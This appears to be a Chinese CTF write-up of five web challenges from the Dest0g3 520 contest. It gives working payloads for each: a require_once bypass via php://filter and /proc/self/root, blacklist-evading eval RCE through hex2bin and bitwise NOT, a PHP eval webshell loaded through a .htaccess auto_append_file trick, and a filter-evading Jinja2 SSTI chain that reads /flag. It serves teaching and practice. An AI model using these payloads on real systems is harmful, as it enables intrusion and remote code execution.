Dest0g3 520迎新赛 web(1~5题)
1、phpdest
2、EasyPHP
3、SimpleRCE
4、funny_upload
5、EasySSTI
phpdest
放出源码:
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once($_GET['file']);
}
这一次是对require_once()
函数的考查,其调用时php会检查该文件是否已经被包含过,如果是则不会再次包含,于是我们必须想办法绕过这个机制,从而实现再次包含文件flag.php.
上一次我们学习到php伪协议,结合下面这个知识点
/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接
我们就可以用伪协议配合多级符号链接的办法进行绕过,直接构造payload:
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
GET传参成功
转码后成功得到flag.
flag = "Dest0g3{ef8f9913-9d91-4c88-9773-0810a40f8ad8}
[资料查阅:require_once 绕过不能重复包含文件的限制]
EasyPHP
依旧给出源码:
<?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
echo $fl4g;
}else{
echo "Try harder!";
}
set_error_handler(
function() use(&$fl4g) {
print $fl4g;
}
);
$fl4g .= $dest0g3;
?>
易知需要我们POST方式传入ctf
,然后拼接在$fl4g
后面,而输出$fl4g
只能想办法触发set_error_handler()
。
这里我们利用把数组当作字符串进行拼接运算时会报错
这一点
Notice:Array to string conversion
//把数组当成了字符串使用,进行 .= 运算时,会自动根据环境需要转换数据类型(echo、print输出数组时也会报这样的信息)
把ctf
用POST传入,即payloadctf[]=1

成功获得flag.
SimpleRCE
源码给出:
<?php
highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>
需要我们绕过str_ireplace()函数(不区分大小写地对数组中所有元素进行搜索替换)
上传命令,从而实现RCE.
Ⅰ、十六进制编码绕过
由于过滤了decode
,base64编码不能使用,我们想到十六进制转换后绕过。脚本如下:
<?php
$a= "system";
$b="cat *";//命令
$p='sysytem:'.bin2hex($a).'<br>command:'.bin2hex($b);
echo $p;
?>
//sysytem:73797374656d
//command:636174202a
构造payload:aaa=hex2bin('73797374656D')(hex2bin('636174202f2a'));//不加;不行
成功拿到flag.
Ⅱ、无参RCE直接过
看到的一种很牛的办法,不过还没有弄清原理。
payload:
POST:
aaa=show_source(next(apache_request_headers()));
User-Agent: /flag
Ⅲ、当然,还有其他绕过方法,如取反绕过:取反基本上用的都是一个不可见字符,不会触发到正则表达式。这里不再赘述,给出脚本:
<?php
//在命令行中运行
/*author yu22x*/
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
[资料查阅:无字母数字绕过正则表达式总结]
funny_upload
查看页面源代码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title></title>
</head>
<body>
<script language="javascript">
function Checkfiles()
{
var fup = document.getElementById('file');
var fileName = fup.value;
var ext = fileName.substring(fileName.lastIndexOf('.') + 1);
if(ext == "gif" || ext == "GIF" || ext == "JPEG" || ext == "jpeg" || ext == "jpg" || ext == "JPG" || ext == "png" || ext == "PNG")
{
return true;
}
else
{
alert("这个文件不好,我不喜欢");
return false;
}
}
</script>
<form method="post" onsubmit="return Checkfiles()" enctype="multipart/form-data" >
<input type="file" name="file" id="file">
<input type="submit" name="1">
</form>
</body>
</html>
<script>alert('文件内容也改改呗~');</script>
可知前端对文件进行了绕过,且对文件内容也进行了过滤,尝试base64编码绕过:
<?php @eval($_POST[1]); ?>
base64编码——>
PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4=

上传成功!接下来的问题是,如何把这个上传的.png
文件解析为.php
文件。
了解到.htaccess文件(或者"分布式配置文件")
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
其中Addtype指令
可以将给定的文件拓展名映射到指定的内容类型:
AddType media-type extension [extension] ...
示例:
AddType application/x-httpd-php .gif
将以 gif 为后缀的文件当做 php 解析
AddType application/x-httpd-php png jpg gif
将以上的多个后缀都当作php解析。
并且,通过 php_value
来设置 auto_prepend_file
或者 auto_append_file
配置选项包含一些敏感文件,同时在本目录或子目录里需要有可解析的php文件来触发。
结合以上两个指令,我们可以上传一个.htaccess
文件:
Addtype application/x-httpd-php .jpg
#将以 jpg 为后缀的文件当做 php 解析
php_value auto_append_file "php://filter/convert.base64-decode/resource=webshell.jpg"
#配合php伪协议+包含“函数”实现文件执行

修改请求包上传成功。
按照路径打开webshell.jpg->当作php解析->触发php_value auto_append_file
指令->执行源码

连接蚁剑,在根目录下找到Flag.

[查阅资料:.htaccess的利用方法和技巧]
EasySSTI

上来就让我们登录(截这张图完全因为background好看哈哈哈❤)
根据题目名称提示,这题考察我们SSTI。补习了一些SSTI的知识后【服务器端模板注入(SSTI)】,先用bp抓包,找注入点:
发现在username
处有jinja2模板引擎的SSTI漏洞。
于是用''.__class__
等进行简单测试,发现_
,'
,"
,
,[
都被过滤了,于是用{{().request.args.class}}&class=__class__
尝试绕过,结果request
也被过滤。(事实上globals
,getitem
,os
,read
,popen
,pop
也都被过滤,但是我还没有测出来)
从其他师傅那里piao到小姿势:{{config}}可以用来查看配置信息,通过这个或许能够构造出我要的payload
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>
找到\
,可以利用config|string|list
获取以执行命令查看根目录......
接续翻查资料了解到:
1. python下的数据拼接
join 方法 拼接字典,主要用于索引上的合并:默认按索引合并,可以合并相同或相似的索引,不管他们有没有重叠列
2. {{()|select|string|list}} or {{lipsum|select|string|list}}
获取字符列表
3. {{lipsum.__globals__['os'].popen('ls').read()}}
命令执行

由此可以用诸如以下的方式构造我们需要的被“过滤”的关键字:
#构造po="pop" #利用dict()|join拼接得到
{% set po=dict(po=a,p=a)|join%}
#构造a=(()|select|string|list).pop(24),这里a即下划线_
{% set a=(()|select|string|list)|attr(po)(24)%}
#构造ini="__init__"
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
#构造glo="__globals__"
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
#构造geti="__getitem__"
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
#构造built="__builtins__"
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
#构造sub="__subclasses__"
{% set sub=(a,a,dict(subclasses=a)|join,a,a)|join()%}
#构造chr()函数调用
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
#构造file='/flag'
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
回到这一题,因为空格被过滤,可用%0a
换行符绕过。命令执行payload构造过程:
{%set%0apo=dict(po=a,p=a)|join()%} #pop
{%set%0aa=(()|select|string|list)|attr(po)(24)%} #_
{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%} #globals
{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%} #getitem
{%set%0ape=dict(po=aaa,pen=aaa)|join()%} #popen
{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%} #read
dict(o=a,s=a)|join() #获取 os
(config|string|list)|attr(po)(279) #获取 /
{{lipsum|attr(glo)|attr(geti)(dict(o=a,s=a)|join())|attr(pe)(dict(l=a,s=a)|join())|attr(re)()}}
<==>
{{lipsum.__globals__['os'].popen('ls').read()}}
成功构造payload:
{%set%0apo=dict(po=a,p=a)|join()%}{%set%0aa=(()|select|string|list)|attr(po)(24)%}{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%}{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%}{%set%0ape=dict(po=aaa,pen=aaa)|join()%}{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%}{{lipsum|attr(glo)|attr(geti)(dict(o=a,s=a)|join())|attr(pe)(dict(l=a,s=a)|join())|attr(re)()}}

修改payload,将ls
改为ls /
,上述dict拼接办法不能用(也可能是我操作有问题),直接()|select|string|list
一个个获取:
((()|select|string|list)|attr(po)(20),(()|select|string|list)|attr(po)(18),(()|select|string|list)|attr(po)(10),(config|string|list)|attr(po)(279))|join()
发现flag后按照上述办法将命令修改为cat /flag
:
((()|select|string|list)|attr(po)(15),(()|select|string|list)|attr(po)(6),(()|select|string|list)|attr(po)(16),(()|select|string|list)|attr(po)(10),(config|string|list)|attr(po)(279),(()|select|string|list)|attr(po)(41),(()|select|string|list)|attr(po)(20),(()|select|string|list)|attr(po)(6),(()|select|string|list)|attr(po)(1))|join()
成功获取FLAG,最后给出最终完整的Payload:
{%set%0apo=dict(po=a,p=a)|join()%}{%set%0aa=(()|select|string|list)|attr(po)(24)%}{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%}{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%}{%set%0ape=dict(po=aaa,pen=aaa)|join()%}{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%}{{lipsum|attr(glo)|attr(geti)(dict(o=a,s=a)|join())|attr(pe)(((()|select|string|list)|attr(po)(15),(()|select|string|list)|attr(po)(6),(()|select|string|list)|attr(po)(16),(()|select|string|list)|attr(po)(10),(config|string|list)|attr(po)(279),(()|select|string|list)|attr(po)(41),(()|select|string|list)|attr(po)(20),(()|select|string|list)|attr(po)(6),(()|select|string|list)|attr(po)(1))|join())|attr(re)()}}
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通